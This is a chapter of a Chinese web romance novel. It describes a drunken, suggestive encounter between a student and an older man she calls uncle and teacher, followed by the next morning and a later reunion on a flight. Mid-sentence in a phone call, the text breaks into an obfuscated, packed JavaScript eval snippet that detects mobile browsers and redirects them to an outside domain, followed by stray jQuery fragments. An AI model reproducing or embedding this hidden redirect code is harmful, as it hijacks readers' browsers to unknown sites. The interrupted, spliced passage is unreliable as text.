19. chapter19
作品:《把禁忌制成糖》 见池钧肴没有反应,荼舒以为他没听到,又重复了一遍:“没有味道,干净的。”
池钧肴:“……”
深吸口气,黑奇楠被他取下挂在手中,指节捻动。
“吃饱了?”
荼舒:“嗯,肴叔叔吃饱了嘛?”
池钧肴鼻尖溢出一声暗哑的应和,起身,对她伸出掌心:“我带你去休息。”
荼舒没有任何迟疑地把手搭上去,任由他牵着绕过座椅,穿过客厅,进到一间黑白色调的极简风精致房间。
房间里几乎没有多余的摆设,只有床头柜上一盏悬浮夜灯球缓缓转动,发出昏黄微弱的暖光。
池钧肴伸手去按开关,荼舒却因为突然的昏暗转身抱住了他紧实的劲腰。
池钧肴僵在原地,掌心挂着的黑奇楠掉落,砸在地毯上发出哒得一声闷响。
借着朦胧的灯光,荼舒仰头,有浅色冷光在池钧肴脖颈处闪烁。
“肴叔叔好像很喜欢这样的衬衫……”叠影重重,荼舒摸索着将指腹压在池钧肴的领针中间,任由冰冷的金属在细嫩皮肤表面压出凹痕。
缓缓研磨,玩得认真。
池钧肴垂眸看她,眼底是深深的无奈和纵容。
怕她站着累,池钧肴抱着人坐到床尾沙发上。
视野升高又降落,荼舒侧坐着趴伏在他肩膀不敢抬头。
感受到后背的有节奏的安抚,她缓缓挺直腰脊,手指不老实地轻戳池钧肴耳后,跟他分享自己的发现:“这里的味道最浓。”
池钧肴意味不明地嗯了声,放在她膝盖处的手指蜷缩虚握。
上扬的音调分不清是肯定还是疑惑,荼舒解释:“海洋的味道,这里最浓。”
她像有瘾般又凑过去嗅,热烫的脸颊在池钧肴耳尖辗转厮磨。
池钧肴在她后背上下安抚的动作顿住,暗光里,有巨浪从深海处拍向海岸。
“荼舒。”他嗓音低沉嘶哑,不见平时清润。
荼舒闻声看向他:“肴叔——”
称谓被吞没在滚烫的热吻里,唇齿被一寸寸洗礼,荼舒惊颤地抖了下酥麻的身体,恍惚中似乎看清了池钧肴的表情。
平静而克制,像蓄势待发的猎人,要将她拆吃入腹。
倏地,池钧肴惩罚似地在她唇瓣上咬了下,荼舒抑制不住地哼出婉转的音调,五指在他的西装马甲上抓出褶皱。
湿热的吻带着灼热的呼吸向下,推开她V领毛衣的阻碍停留在渡着浅色暖光的漂亮锁骨上。
“肴叔叔……”荼舒的声音比夜灯球的光还要柔,仔细听还有些辨不清的渴望。
至于渴望什么,即使醉着也清楚。
因为她曾梦到过许多次这样的场景,甚至比现在更露骨,更深刻。
但池钧肴却将脸埋在了她的颈侧不再动作,任由她在自己胸前用最柔软的武器刺激那条饥饿至极的蓝色蛇。
荼舒挣扎未果,红着眼眶看他,清纯的底色上,满是委屈和控诉。
她踢了踢腿,试图跟池钧肴商量:“肴…肴叔叔…我想要你在我身上去做…春天在樱桃树上做的事……”
嗓音自带的微哑伴着哽咽的哼吟,汇成了最具旖旎故事感的乐章。
不能满足它更淋漓续奏的人,十恶不赦。
池钧肴被气笑,一巴掌拍在她不老实的臀瓣上:“喝醉了就可以肆无忌惮?”
*
鸟鸣声和生物钟的双重作用下,荼舒准时醒来,闭着眼睛习惯性去摸手机。
掌心触感陌生。
猛地睁眼,完全陌生的房间。
惊慌和恐惧自脚底向上席卷,冷汗接触到空气,在后背激起层层颗粒,她也慢慢想起失忆前最后的片段。
梵镜山庄,肴叔叔的小别墅里,她喝了一杯好看的草莓奶饮……
紧绷的心弦稍稍放松,她掀开被子看到身上陌生的衬衫,很有质感,可惜已经皱得不成样子。
身体没有任何不适,她环视四周后走到衣柜前,拉开轻薄的柜门,里面是整齐挂好的各色衬衫和西装,其中几件见池钧肴穿过。
确认了心中的猜想,荼舒不再着急,踩着拖鞋去洗手间收拾。
浴室的陈列和卧室一样简洁,荼舒看着镜子里的自己,脸颊微肿,眼皮和嘴唇更是惨不忍睹。
草莓误事!
出来后,她低头看着身上只能遮到大腿衬衫犯了难。
怎么出去?
肴叔叔在外面吗?
现在是早晨六点半,天都还没完全亮。
想了想,荼舒拨通程乐的电话。
窸窣声里程乐还迷糊着:“荼舒…到时间了?等我收拾下,十分钟。”
“不是,程乐,你方便帮我送套衣服来梵镜山庄吗?”
电话那头安静了一会儿,然后是程乐亢奋的声音:“什么情况?你昨晚睡在梵镜山庄?那儿的房间基本上提前一个月预约,你——不对,这不是重点,重点是,你和谁一起?”
荼舒:“……”
一小时后,程乐被服务员领到小别墅。
“看衬衫的尺寸,应该挺高,一米八?一米九?”程乐站在卧室门口不伦不类地吹了声口哨。
荼舒接过衣服,没跟她讨论这个话题。
程乐是个情商挺高的人,见她不愿意谈就没再追问。
倚在浴室外的墙壁上提醒:“我也不知道你想穿什么,就到你衣柜里选了套你之前搭配过的,内衣和袜子在最下面。”
然后长叹了口气:“你房子装修的也太精致了,看完你那,我都不知道怎么找房子了!”
荼舒换衣服的动作略有停顿:“总能找到合适的。”
衬衫挂在胳膊上出来,荼舒不自在地问:“你进来的时候看到我男朋友了吗?“
程乐眼睛顿时亮了几个度:“没,你们俩昨晚?”
荼舒:“喝了酒,不记得,不过他应该没睡这儿。”
程乐啧啧:“也是圣人了!”话里的涵义仁者见仁,然后又补了句:“看来人品不错。”
正说着,门铃响了。
“早上好!这是池先生昨晚交代清洗的衣物,请小姐查收。”
荼舒看到自己的外套和毛衣。
池钧肴的电话同时也拨了进来:“衣服收到了吗?”
因为不记得后来发生了什么,自己又有前科,荼舒问得小小声:“肴叔叔…你在哪休息的?我昨晚…有没有做奇怪的事?”
池钧肴也刚醒,正依靠在床头醒神:“我在酒店前面的客房。蔡经理说你有朋友来了,需要我过去吗?”
荼舒:“不用不用!我早晨没找到自己衣服……就让她给我从家里送了套过来。”
池钧肴听出她的紧张,明白她是暂时不愿意公开,纵容:“昨天是女服务员给你换的衣服,我顺便让她拿过去清洗了,只不过没想到你醒的这么早。既然不用我过去,你收拾好带同学去餐厅先吃个饭再回去?“
荼舒拒绝的话一说出口就后悔了,又听他这么平静的接受,心头酸软。
“肴叔叔…”
池钧肴:“嗯?”
荼舒:“等不用再喊你池老师的时候,我请
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820783|174572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大家吃饭好不好?”
这小心试探的语气,让池钧肴在她看不到的按着额角闷笑出声。
他几乎能想象到小朋友一边考虑怎么跟他说明白自己的想法,一边顾及着他的感受斟酌措辞的纠结模样。
她的在意,没有浮华贵重的装裱和层层包装的谄媚。
像一颗青涩渐熟的果子,只对他池钧肴一个人散发清甜香气。
池钧肴:“好。”
挂掉电话,荼舒揉揉脸进屋,程乐正在客厅里瞻仰那架放满藏书的书柜。
荼舒快速收拾好自己的东西跟程乐一起去了前面的自助餐厅。
时间还早,餐厅的人并不多。
程乐看到琳琅满目的早餐食材,早就忘了艰难早起痛苦。
然后两人又打车回到嘉荣园放东西,刚好赶上和中介约定的时间。
程乐哭哭唧唧趴在荼舒肩头:“完了完了,我就说看完你的房子就选不出来能入眼的了!”
荼舒中肯建议:“要不看看其他小区?”
程乐坚决摇头:“太远了,我早晨起不来。”
荼舒:“……”无解。
连续两天,荼舒陪着她几乎看遍了嘉荣园所有在租的房子,眼看着到了要回家的时间,程乐两眼一闭,定了荼舒隔壁单元的一套。
有搬家公司在,荼舒后面就没再去帮忙,开始熬夜赶实验数据分析。
腊月十八,赵昔月确定了回杭的时间。
赵昔月:“我年前最后一场演出是二十四,让昔年给我们定了二十五的机票,到时候我们直接机场汇合。”
还有一周时间,荼舒照常是学校家里两点一线。
池钧肴最近项目也有了进展,这段时间频繁出差,仔细算,他们已经有十天没有见面。
实验数据报告发送到孙教授邮箱,比群里给出的deadline还提前了一天。
荼舒长长伸了个懒腰,看了眼外面的天色。
又到凌晨了。
手机屏幕亮起,是池钧肴的消息。
池钧肴:【睡了没?】
荼舒抓了只抱枕抱在怀里回消息:【刚把报告发走,明天就没事儿啦,打算出去转转!肴叔叔那儿现在是下午吗?什么时候能回来?】
池钧肴:【记得你考了驾照,给你送辆车过去?】
池钧肴:【这边是下午五点,后天回】
荼舒:【不会走远,不用车。】
算了下时间,池钧肴航班落地时间刚好是自己回杭城的日期。
荼舒:【我是不是年前见不到肴叔叔了?】
池钧肴:【不会的,时间不早了,早点睡?】
荼舒怏怏地放下手机。
赵昔月一手拉着行李箱,另一只胳膊搭在荼舒肩膀上朝安检口走:“怎么这么没精打采的?因为池钧肴?”
“他的航班今天到,但是时间似乎赶不上。”荼舒又回看了眼航班信息,有些失望和遗憾。
赵昔月捏了捏她的脸,安慰:“那就过完年早点回来嘛!走吧,到我们了。”
她们的座位并没连着,按照习惯,赵昔年给她们分别选了机舱两边靠窗的位置。
荼舒相邻的头等舱座位还空着,也不知哪位倒霉人士在这时间错过了航班。
谢绝了空姐的服务,荼舒带上眼罩准备休息。
“先生的外套我可以帮您挂起来,请问您需要喝点什么?”空姐甜美的声音再次靠近。
荼舒鼻尖动了动,继而听到熟悉的清润嗓音:“不用,另外,请说话声轻一点,我女朋友在休息。”